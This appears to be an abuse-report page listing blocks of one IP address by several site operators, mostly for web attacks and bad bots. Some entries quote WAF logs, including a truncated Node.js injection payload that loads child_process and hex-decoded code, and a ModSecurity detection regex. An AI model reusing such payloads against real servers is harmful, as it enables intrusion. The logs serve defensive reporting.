🇫🇷
security.rdmc.fr
2026-11-08 09:49:33
UTC ·
(2 hours ago)
Activity from blacklisted IP
Hacking
🇫🇮
mnazibo
2026-11-08 07:00:17
UTC ·
(5 hours ago)
Date: Nov 08 09:37:31 2026 EAT | Reported IP: 151.115.49.53 mod_security | id: 200003 933160 934100 934130 941390 942550 949110 | PL/usernameab.my_domain/- | Connections: 1 | Blocked: Permanent Block: [LF_MODSEC] | Logs: ; Multipart request body fail ...
show more
Date: Nov 08 09:37:31 2026 EAT | Reported IP: 151.115.49.53 mod_security | id: 200003 933160 934100 934130 941390 942550 949110 | PL/usernameab.my_domain/- | Connections: 1 | Blocked: Permanent Block: [LF_MODSEC] | Logs: ; Multipart request body failed strict validation: \\x0aPE 0, \\x0aBQ 0, \\x0aBW 0, \\x0aDB 1, \\x0aDA 0, \\x0aHF 0, \\x0aLF 0, \\x0aSM 0, \\x0aIQ 0, \\x0aIP 0, \\x0aIH 0, \\x0aFL; PHP Injection Attack: High-Risk PHP Function Call Found; Node.js Injection Attack 1/2; Node.js Injection Attack 1/2; Node.js Injection Attack 1/2; Node.js Injection Attack 1/2; JavaScript Prototype Pollution; JavaScript Prototype Pollution; JavaScript Prototype Pollution; Javascript method detected; JSON-Based SQL Injection; Inbound Anomaly Score Exceeded (Total Score: 50)
show less
SQL Injection
Brute-Force
Bad Web Bot
🇨🇭
4server
2026-11-08 01:32:52
UTC ·
(10 hours ago)
[SunNov0802:32:48.5033232026][security2:error][pid476774:tid476911][client151.115.49.53:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\ ...
show more
[SunNov0802:32:48.5033232026][security2:error][pid476774:tid476911][client151.115.49.53:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\|\(\?:calla\|dou\)ble\|s\(\?:calar\|tring\)\|f\(\?:inite\|loat\)\|re\(\?:source\|al\)\|l\(\?:ink\|ong\)\|a\(\?:rray\)\?\|object\|bool\)\|set\)\|n\(\?:\(\?:clud\|vok\)e\|t\(\?:div\|val\)\)\|\(\?:mplod\|dat\)e\|conv\)\|s\(\?:t\(\?:r\(\?:\(\?:le\|sp\)n\|...\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"function\(\'returnimport\(\\\\x5c\\\\x22node:child_process\\\\x5c\\\\x22\)\'\)\(\)\,function\(\'returnimport\(\\\\x5c\\\\x22node:zlib\\\\x5c\\\\x22\)\'\)\(\)]\).then\(\([cp\,zlib]\)=\>{returnnewpromise\(\(resolve\,reject\)=\>{try{varuser_code=global[string.fromcharcode\(66\,117\,102\,102\,101\,114\)].from\(\'286173796e632066756e6374696f6e28297b636f6e7
show less
Hacking
Web App Attack
🇪🇸
pipeline.es
2026-11-08 01:20:40
UTC ·
(10 hours ago)
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Fri Oct 30 18:29:09.063190 2026] [:error] [pid 2596890] [client 151.115.49.53:59414] [client 151.115.49.53] WAF: Access denied with code 403 (phase 2). Operator GT match ...
show more
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Fri Oct 30 18:29:09.063190 2026] [:error] [pid 2596890] [client 151.115.49.53:59414] [client 151.115.49.53] WAF: Access denied with code 403 (phase 2). Operator GT matched 0 at TX:php_injection_score. [file \"/etc/httpd/conf.d/zz-WAF-php2shell.conf\"] [line \"17\"] [id \"9261008\"] [msg \"php2shell: inyeccion PHP (CRS 933) en bloqueo\"] [tag \"php2shell\"] [hostname \"aevav.es\"] [uri \"/\"] [uni | ASN: Scaleway S.a.s. | Country: PL
show less
Web App Attack
🇳🇱
homeshowdomain.nl
2026-11-07 22:59:42
UTC ·
(13 hours ago)
Auto-ban: >3000 req/min op 2026-11-07
Web App Attack
SSH
Hacking
2026-11-07 21:22:39
UTC ·
(14 hours ago)
Fuzzing/Looking for credentials files.
Brute-Force
Web App Attack
🇩🇪
netclix.gr
2026-11-07 11:08:50
UTC ·
(1 day ago)
(bot_kill_mega) Aggressive Bot Blocked: Python 151.115.49.53 (PL/Poland/53-49-115-151.rev.scw.cloud)
Hacking
🇩🇪
Vegascosmetics
2026-11-07 00:12:21
UTC ·
(1 day ago)
Kingcopy.org AI-IDS (Vegas Cosmetics shop): Abuse 100 / BAN. IP is on the AbuseIPDB blacklist and was blocked on the first request.
Hacking
Exploited Host
Web App Attack
🇫🇮
mnazibo
2026-11-06 16:45:30
UTC ·
(1 day ago)
Date: Nov 06 19:35:20 2026 EAT | Reported IP: 151.115.49.53 mod_security | id: 933160 934100 934130 941390 942550 949110 200003 | PL/usernameab.my_domain/- | Connections: 1 | Blocked: Permanent Block: [LF_MODSEC] | Logs: ; PHP Injection Attack: High- ...
show more
Date: Nov 06 19:35:20 2026 EAT | Reported IP: 151.115.49.53 mod_security | id: 933160 934100 934130 941390 942550 949110 200003 | PL/usernameab.my_domain/- | Connections: 1 | Blocked: Permanent Block: [LF_MODSEC] | Logs: ; PHP Injection Attack: High-Risk PHP Function Call Found; Node.js Injection Attack 1/2; Node.js Injection Attack 1/2; Node.js Injection Attack 1/2; Node.js Injection Attack 1/2; JavaScript Prototype Pollution; JavaScript Prototype Pollution; JavaScript Prototype Pollution; Javascript method detected; JSON-Based SQL Injection; Inbound Anomaly Score Exceeded (Total Score: 50); Multipart request body failed strict validation: \\x0aPE 0, \\x0aBQ 0, \\x0aBW 0, \\x0aDB 1, \\x0aDA 0, \\x0aHF 0, \\x0aLF 0, \\x0aSM 0, \\x0aIQ 0, \\x0aIP 0, \\x0aIH 0, \\x0aFL
show less
SQL Injection
Brute-Force
Bad Web Bot
🇮🇹
CoreTech srl
2026-11-05 23:27:04
UTC ·
(2 days ago)
[DC: IP:151.1.252.27] ntopng alert: blacklisted_server_contact
Hacking
🇪🇸
pipeline.es
2026-11-05 13:08:06
UTC ·
(2 days ago)
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Fri Oct 30 18:29:09.063190 2026] [:error] [pid 2596890] [client 151.115.49.53:59414] [client 151.115.49.53] WAF: Access denied with code 403 (phase 2). Operator GT match ...
show more
PHP RCE exploit attempt (php2shell, CVE-2026-109618) blocked by WAF | Evidence: [Fri Oct 30 18:29:09.063190 2026] [:error] [pid 2596890] [client 151.115.49.53:59414] [client 151.115.49.53] WAF: Access denied with code 403 (phase 2). Operator GT matched 0 at TX:php_injection_score. [file \"/etc/httpd/conf.d/zz-WAF-php2shell.conf\"] [line \"17\"] [id \"9261008\"] [msg \"php2shell: inyeccion PHP (CRS 933) en bloqueo\"] [tag \"php2shell\"] [hostname \"aevav.es\"] [uri \"/\"] [uni | ASN: Scaleway S.a.s. | Country: PL
show less
Web App Attack
🇺🇸
francelink.fr
2026-11-04 23:08:28
UTC ·
(3 days ago)
Azure WAF blocked a request. Rule: 949110. Observed at: 2026-11-04T23:06:11.000Z.
Web App Attack
🇺🇦
URAN Publishing Service
2026-11-04 19:24:29
UTC ·
(3 days ago)
[04/Nov/2026:21:24:29 +0200] -- 151.115.49.53 Ban reason: User-Agent Python/
Bad Web Bot
Web App Attack
🇫🇷
Stara
2026-11-04 17:15:03
UTC ·
(3 days ago)
Excessive requests and user agent spoofing, forum attackers, cms spammers, bad bots and python probe scripts
Bad Web Bot
Web Spam
🇩🇪
netclix.gr
2026-11-04 15:19:19
UTC ·
(3 days ago)
(bot_kill_mega) Aggressive Bot Blocked: Python 151.115.49.53 (PL/Poland/53-49-115-151.rev.scw.cloud)
Hacking
